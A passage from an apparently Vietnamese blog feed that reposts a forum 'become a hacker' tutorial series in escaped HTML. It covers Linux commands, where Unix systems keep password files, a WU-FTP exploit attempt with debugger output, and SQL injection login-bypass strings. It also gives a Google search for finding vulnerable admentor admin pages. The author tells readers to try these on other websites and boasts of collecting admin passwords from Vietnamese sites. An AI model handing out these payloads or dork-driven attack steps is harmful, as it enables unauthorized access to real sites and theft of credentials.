muốn di chuyển đến thư mục nào . phải nhờ đến lệnh này . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví du : $ cd /usr/bin ---- &gt; nó sẽ đưa bạn đến thư mục bin &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh mkdir : tạo 1 thư mục . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $ mkdir /home/convit --- &gt; nó sẽ tạo 1 thư mục convit trong /home &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh rmdir : gỡ bỏ thư mục &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $ rmdir /home/conga ---- &gt; nó sẽ gỡ bỏ thư mục conga trong /home . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh ls: liệt kê nội dung thư mục &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $ls -laR / &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh printf: in dữ liệu có định dạng, giống như sử dựng printf() của C++ . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $printf %s ``\x41\x41\x41\x41`` &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh pwd: đưa ra thư mục hiện hành &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $pwd ------ &gt; nó sẽ cho ta biết vị trí hiện thời của ta ở đâu : /home/level1 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Các lệnh : cp, mv, rm có nghĩa là : copy, move, delete file &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ với lệnh rm (del) : $rm -rf /var/tmp/blah ----- &gt; nó sẽ del file blah . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Làm tương tự đối với các lệnh cp , mv . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh find : tìm kiếm file, thư mục &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $find / -user level2 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh grep: công cụ tìm kiếm, cách sử dụng đơn giản nhất : grep ``something`` &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Vidu : $ps axuw | grep ``level1`` &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh Strings: in ra tất cả các ký tự in được trong 1 file. Dùng nó để tìm các khai báo hành chuỗi trong chương trình, hay các gọi hàm hệ thống, có khi tìm thấy cả password nữa &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;VD: $strings /usr/bin/level1 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ hữu ích để theo dõi flow của chương trình, cách nhanh nhất để xác định chương trình bị lỗi ở đoạn nào. Trên các hệ thống unix khác, tool tương đương là truss, ktrace . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $strace /usr/bin/level1 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh`` cat, more ``: in nội dung file ra màn hình &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;$cat /etc/passwd | more -- &gt; nó sẽ đưa ra nội dung file passwd một cách nhanh nhất . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;$more /etc/passwd ---- &gt; Nó sẽ đưa ra nội dung file passwd một cách từ từ . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh hexdump : in ra các giá trị tương ứng theo ascii, hex, octal, decimal của dữ liệu nhập vào . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $echo AAAA | hexdump &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh : cc, gcc, make, gdb: các công cụ biên dịch và debug . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $gcc -o -g bof bof.c &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $make bof &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $gdb level1 &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;(gdb) break main &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;(gdb) run &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh perl: một ngôn ngữ &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví dụ : $perl -e `print ``A``x1024` | ./bufferoverflow ( Lỗi tràn bộ đệm khi ta đánh vào 1024 kí tự ) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh ``bash`` : đã đến lúc tự động hoá các tác vụ của bạn bằng shell script, cực mạnh và linh hoạt . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Bạn muốn tìm hiểu về bash , xem nó như thế nào : &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;$man bash &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh ls : Xem nội dung thư mục ( Liệt kê file trong thư mục ) . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ví Dụ : $ ls /home ---- &gt; sẽ hiện toàn bộ file trong thư mục Home &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;$ ls -a ----- &gt; hiện toàn bộ file , bao gồm cả file ẩn &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;$ ls -l ----- &gt; đưa ra thông tin về các file &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Lệnh ghi dữ liệu đầu ra vào 1 file : &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Vídụ : $ ls /urs/bin &gt; ~/convoi ------ &gt; ghi dữ liệu hiển thị thông tin của thư mục bin vào 1 file convoi . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;34 . ) Những hiểu biết cơ bản xung quanh Linux : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;a . ) Một vài thư mục quan trọng trên server : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ /home : nơi lưu giữ các file người sử dụng ( VD : người đăng nhập hệ thống có tên là convit thì sẽ có 1 thư mục là /home/convit ) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ /bin : Nơi xử lý các lệnh Unix cơ bản cần thiết như ls chẳng hạn . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ /usr/bin : Nơi xử lý các lệnh dặc biệt khác , các lệnh dùng bởi người sử dụng đặc biệt và dùng quản trị hệ thống . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ /bot : Nơi mà kernel và các file khác được dùng khi khởi động . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ /ect : Các file hoạt động phụ mạng , NFS (Network File System ) Thư tín ( Đây là nơi trọng yếu mà chúng ta cần khai thác nhiều nhất ) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ /var : Các file quản trị &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ /usr/lib : Các thư viện chuẩn như libc.a &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ /usr/src : Vị trí nguồn của các chương trình . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;b . ) Vị trí file chứa passwd của một số phiên bản khác nhau : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;CODE &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;AIX 3 /etc/security/passwd !/tcb/auth/files// &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;A/UX 3.0s /tcb/files/auth/?/* &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;BSD4.3-Ren /etc/master.passwd * &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;ConvexOS 10 /etc/shadpw * &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;ConvexOS 11 /etc/shadow * &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;DG/UX /etc/tcb/aa/user/ * &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;EP/IX /etc/shadow x &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;HP-UX /.secure/etc/passwd * &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;IRIX 5 /etc/shadow x &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Linux 1.1 /etc/shadow * &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;OSF/1 /etc/passwd[.dir|.pag] * &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;SCO Unix #.2.x /tcb/auth/files// &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;SunOS4.1+c2 /etc/security/passwd.adjunct ##username &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;SunOS 5.0 /etc/shadow &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;System V Release 4.0 /etc/shadow x &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;System V Release 4.2 /etc/security/* database &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ultrix 4 /etc/auth[.dir|.pag] * &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;UNICOS /etc/udb * &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;35 . ) Khai thác lỗi của Linux qua lỗ hổng bảo mật của WU-FTP server : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ WU-FTP Server (được phát triển bởi đại Học Washington ) là một phần mềm Server phục vụ FTP được dùng khá phổ biến trên các hệ thống Unix &amp;amp; Linux ( tất cả các nhà phân phối: Redhat, Caldera, Slackware, Suse, Mandrake....) và cả Windows.... , các hacker có thể thực thi các câu lệnh của mình từ xa thông qua file globbing bằng cách ghi đè lên file có trên hệ thống . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Tuy nhiên , việc khai thác lỗi này không phảI là dễ vì nó phải hội đủ những điều kiện sau : &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;+ Phải có account trên server . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;+ Phải đặt được Shellcode vào trong bộ nhớ Process của Server . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;+ Phải gửi một lệnh FTP đặc biệt chứa đựng một globbing mẫu đặc biệt mà không bị server phát hiện có lỗi . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;+ Hacker sẽ ghi đè lên một Function, Code tới một Shellcode, có thể nó sẽ được thực thi bới chính Server FTP . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Ta hãy phân tích VD sau về việc ghi đè lên file của server FTP : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;CODE &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;ftp &gt; open localhost &lt;== lệnh mở trang bị lỗi .  Connected to localhost (127.0.0.1).  220 sasha FTP server (Version wu-2.6.1-18) ready &lt;== xâm nhập thành công FTP server .  Name (localhost:root): anonymous &lt;== Nhập tên chỗ này  331 Guest login ok, send your complete e-mail address as password.  Password:………..&lt;== nhập mật khẩu ở đây  230 Guest login ok, access restrictions apply.  Remote system type is UNIX.  Using binary mode to transfer files. &lt;== sử dụng biến nhị phân để chuyển đổi file .  ftp &gt; ls ~{ &lt;== lệnh liệt kê thư mục hiện hành .  227 Entering Passive Mode (127,0,0,1,241,205)  421 Service not available, remote server has closed connection  1405 ? S 0:00 ftpd: accepting connections on port 21 ç chấp nhận kết nốI ở cổng 21 .  7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd  26256 ? S 0:00 ftpd:  sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa  26265 tty3 R 0:00 bash -c ps ax | grep ftpd  (gdb) at 26256  Attaching to program: /usr/sbin/wu.ftpd, process 26256 &lt;== khai thác lỗi Wu.ftpd .  Symbols already loaded for /lib/libcrypt.so.1  Symbols already loaded for /lib/libnsl.so.1  Symbols already loaded for /lib/libresolv.so.2  Symbols already loaded for /lib/libpam.so.0  Symbols already loaded for /lib/libdl.so.2  Symbols already loaded for /lib/i686/libc.so.6  Symbols already loaded for /lib/ld-linux.so.2  Symbols already loaded for /lib/libnss_files.so.2  Symbols already loaded for /lib/libnss_nisplus.so.2  Symbols already loaded for /lib/libnss_nis.so.2  0x40165544 in __libc_read () from /lib/i686/libc.so.6  (gdb) c  Continuing.  Program received signal SIGSEGV, Segmentation fault.  __libc_free (mem=0x61616161) at malloc.c:3136  3136 in malloc.c    Việc khai thác qua lỗi này đến nay tôi test vẫn chưa thành công ( chẳng biết làm sai chỗ nào ) . Vậy bạn nào làm được hãy post lên cho anh em biết nhé .  Lỗi Linux hiện nay rất ít ( đặc biệt là đối với Redhat ), các bạn hãy chờ đợi nếu có lỗi gì mới thì bên “LỗI bảo mật” sẽ cập nhật ngay . Khai thác chúng như thế nào thì hỏi Mod quản lý bên đó , đặc biệt là bạn Leonhart , cậu ta siêng trả lời các bạn lắm .   ( Dựa theo bài viết của huynh Binhnx2000 )   36 . ) Tìm hiểu về SQL Injection :   _ SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, thi hành lệnh từ xa, đoạt dữ liệu và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...  _ Bạn có thể kiếm được trang Web bị lỗi bằng cách dùng các công cụ tìm kiếm để kiếm các trang cho phép submit dữ liệu . Một số trang Web chuyển tham số qua các khu vực ẩn nên bạn phảI viewsource mớI thấy được . VD ta xác định được trang này sử dụng Submit dữ liệu nhờ nhìn vào mã mà ta đã viewsource :   CODE    &lt;/span&gt;&lt;input name="A" value="C" type="hidden"&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập vào login và pass lân lượt như sau : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;- Login: hi` or 1=1-- &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;- Pass: hi` or 1=1-- &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Nếu không được bạn thử tiếp với các login và pass sau : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;CODE &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;` or 1=1-- &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;`` or 1=1-- &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;or 1=1-- &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;` or `a`=`a &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;`` or ``a``=``a &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;`) or (`a`=`a &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Nếu thành công, bạn có thể login vào mà không cần phải biết username và password . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Lỗi này có dính dáng đến Query nên nếu bạn nào đã từng học qua cơ sở dữ liệu có thể khai thác dễ dàng chỉ bằng cách đánh các lệnh Query trên trình duyệt của các bạn . Nếu các bạn muốn tìm hiểu kỹ càng hơn về lỗi này có thể tìm các bài viết của nhóm vicky để tìm hiểu thêm . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;37 . ) Một VD về hack Web thông qua lỗi admentor ( Một dạng của lỗi SQL Injection ) : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Trước tiên bạn vào google.com tìm trang Web admentor bằng từ khoá “allinurl : admentor” . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Thông thường bạn sẽ có kết quả sau : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;http://www.someserver.com/admentor /admin/admin.asp &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Bạn thử nhập “ ` or ``=` ” vào login và password : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;CODE &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Login : ` or ``=` &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Password : ` or ``=` &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Nếu thành công bạn sẽ xâm nhập vào Web bị lỗi với vai trò là admin . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Ta hãy tìm hiểu về cách fix lỗi này nhé : &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;+ Lọc các ký tự đặc biệt như “ ` `` ~ \ ” bằng cách chêm vào javascrip đoạn mã sau : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;CODE &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;function RemoveBad(strTemp) &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;{ &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;strTemp = strTemp.replace(/\&lt;|\ &gt; |\``|\`|\%|\;|\(|\)|\&amp;amp;|\+| &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;\-/g,````); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;return strTemp; &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;} &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;+ Và gọi nó từ bên trong của asp script : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;CODE &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;var login = var TempStr = RemoveBad &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;(Request.QueryString(``login``)); &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;var password = var TempStr = RemoveBad &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;(Request.QueryString(``password``)); &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Vậy là ta đã fix xong lỗi . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Các bạn có thể áp dụng cách hack này cho các trang Web khác có submit dữ liệu , các bạn hãy test thử xem đi , các trang Web ở Việt Nam mình bị nhiều lắm , tôi đã kiếm được kha khá pass admin bằng cách thử này rồi ( nhưng cũng đã báo để họ fix lại ) . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;_ Có nhiều trang khi login không phải bằng “ ` or ``=’ ” mà bằng các nick name có thật đã đăng ký trên trang Web đó , ta vào link “thành viên” kiếm nick của một admin để test thử nhé . &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Hack vui vẻ . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;================================================== = = &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Ở phần 6 tôi sẽ đề cập đến kiểu tấn công từ chối dịch vụ ( DoS attack ) , một kiểu tấn công lợi hại đã làm cho trang Web hùng mạnh như HVA của chúng ta bị tắt nghẽn chỉ trong thờI gian ngắn các admin bận đi uống cafe hết mà không ai trông coi . Kèm theo đó là các phương pháp tấn công DoS đã và đang được sử dụng . &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;GOOKLUCK!!!!!!!!!!!!!!!!!!!! &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;( Hết phần 5 ) &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;Anhdenday &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial; font-weight: bold;"&gt;HVA&lt;/span&gt;</description><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title>Những hiểu biết cơ bản nhất để trở thành Hacker - Phần 4</title><link>http://blogthuthuatvn.blogspot.com/2009/10/nhung-hieu-biet-co-ban-nhat-e-tro-thanh_2050.html</link><category>Câu chuyện IT</category><author>noreply@blogger.com (nakazasen)</author><pubDate>Fri, 9 Oct 2009 02:28:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-3429202090384957014.post-6289781311638363581</guid><description>&lt;title&gt;Hacker04&lt;/title&gt; &lt;meta content="Word.Document" name="ProgId"&gt; &lt;meta content="Microsoft Word 9" name="Generator"&gt; &lt;meta content="Microsoft Word 9" name="Originator"&gt;&lt;link style="font-family: arial; font-weight: bold;" href="./Hacker04_files/filelist.xml" rel="File-List"&gt; &lt;style&gt; &lt;!--  /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-parent:""; 	margin:0cm; 	margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman"; 	mso-fareast-font-family:"Times New Roman";} a:link, span.MsoHyperlink 	{color:blue; 	text-decoration:underline; 	text-underline:single;} a:visited, span.MsoHyperlinkFollowed 	{color:purple; 	text-decoration:underline; 	text-underline:single;} span.highlight 	{mso-style-name:highlight;} @page Section1 	{size:21.0cm 842.0pt; 	margin:2.0cm 2.0cm 2.0cm 3.0cm; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;  &lt;div style="font-family: arial; font-weight: bold;" class="Section1"&gt; &lt;p class="MsoNormal" style="text-align: center;" align="center"&gt;&lt;span style="font-size: 14pt;" lang="VI"&gt;
&lt;br /&gt;&lt;/span&gt;&lt;span style="" lang="VI"&gt;&lt;/span&gt;&lt;/p&gt; &lt;p class="MsoNormal"&gt;&lt;span style="font-size: 14pt;"&gt;&lt;/span&gt;&lt;span style="" lang="VI"&gt;26 . ) Tìm hiểu về RPC (Remote Procedure  Call) :
&lt;br /&gt;
&lt;br /&gt;_ Windows NT cung cấp khả năng sử dụng RPC để thực thi các  ứng dụng phân tán . Microsoft RPC bao gồm các thư viện và các dịch vụ cho phép  các ứng dụng phân tán hoạt động được trong môi trường Windows NT. Các ứng dụng  phân tán chính bao gồm nhiều tiến trình thực thi với nhiệm vụ xác định nào đó.  Các tiến trình này có thể chạy trên một hay nhiều máy tính.
&lt;br /&gt;
&lt;br /&gt;_Microsoft  RPC sử dụng name service provider để định vị &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;Servers&lt;/a&gt; trên mạng. Microsoft RPC name service provider phải đi  liền với Microsoft RPC name service interface (NIS). NIS bao bao gồm các hàm API  cho phép truy cập nhiều thực thể trong cùng một name service database (name  service database chứa các thực thể, nhóm các thực thể, lịch sử các thực thể trên  &lt;a href="http://www.ddth.com/autolink.php?id=5&amp;amp;script=showthread&amp;amp;forumid=32" target="_blank"&gt;Server&lt;/a&gt;).
&lt;br /&gt;Khi cài đặt Windows NT, Microsoft Locator tự động  được chọn như là name service provider. Nó là name service provider tối ưu nhất  trên môi trường mạng Windows NT.
&lt;br /&gt;
&lt;br /&gt;27 . ) Kỹ thuật đơn giản để chống  lại sự xâm nhập trái phép khi đang online thông qua RPC (Remote Procedure Call)  :
&lt;br /&gt;
&lt;br /&gt;_ Nếu bạn nghi ngờ máy của mình đang có người xâm nhập hoặc bị  admin remote desktop theo dõi , bạn chỉ cần tắt chức năng remote procedure call  thì hiện tại không có chương trình nào có thể remote desktop để theo dõi bạn  được . Nó còn chống được hầu hết tools xâm nhập vào máy ( vì đa số các tools  viết connect dựa trên remote procedure call ( over tcp/ip )).Các trojan đa số  cũng dựa vào giao thức này.
&lt;br /&gt;
&lt;br /&gt;Cách tắt: Bạn vào service /remote procedure  call( click chuột phải ) chọn starup typt/disable hoặc manual/ apply. 
&lt;br /&gt;
&lt;br /&gt;Đây là cách chống rất hữu hiệu với máy PC , nếu thêm với cách tắt file  sharing thì rất khó bị hack ) ,nhưng trong mạng LAN bạn cũng phiền phức với nó  không ít vì bạn sẽ không chạy được các chương trình có liên quan đến thiết bị  này . Tùy theo cách thức bạn làm việc mà bạn có cách chọn lựa cho hợp lý . Theo  tôi thì nếu dùng trong mạng LAN bạn hãy cài một firewall là chắc chắn tương đối  an toàn rồi đó .
&lt;br /&gt;
&lt;br /&gt;( Dựa theo bài viết của huynh “Đời như củ khoai ”  khoaimi – admin của HVA )
&lt;br /&gt;
&lt;br /&gt;28 . ) Những bước để hack một trang web  hiện nay :
&lt;br /&gt;
&lt;br /&gt;_ Theo liệt kê của sách Hacking Exposed 3 thì để hack một  trang Web thông thường ta thực hiện những bước sau :
&lt;br /&gt;&lt;u&gt;+ FootPrinting :&lt;/u&gt;  ( In dấu chân )
&lt;br /&gt;Đây là cách mà &lt;span class="highlight"&gt;hacker&lt;/span&gt; làm khi  muốn lấy một lượng thông tin tối đa về máy chủ/doanh nghiệp/người dùng. Nó bao  gồm chi tiết về địa chỉ IP, Whois, DNS ..v.v đại khái là những thong tin chính  thức có lien quan đến mục tiêu. Nhiều khi đơn giản &lt;span class="highlight"&gt;hacker&lt;/span&gt; chỉ cần sử dụng các công cụ tìm kiếm trên mạng để  tìm những thong tin đó.
&lt;br /&gt;&lt;u&gt;+ Scanning :&lt;/u&gt; ( Quét thăm dò )
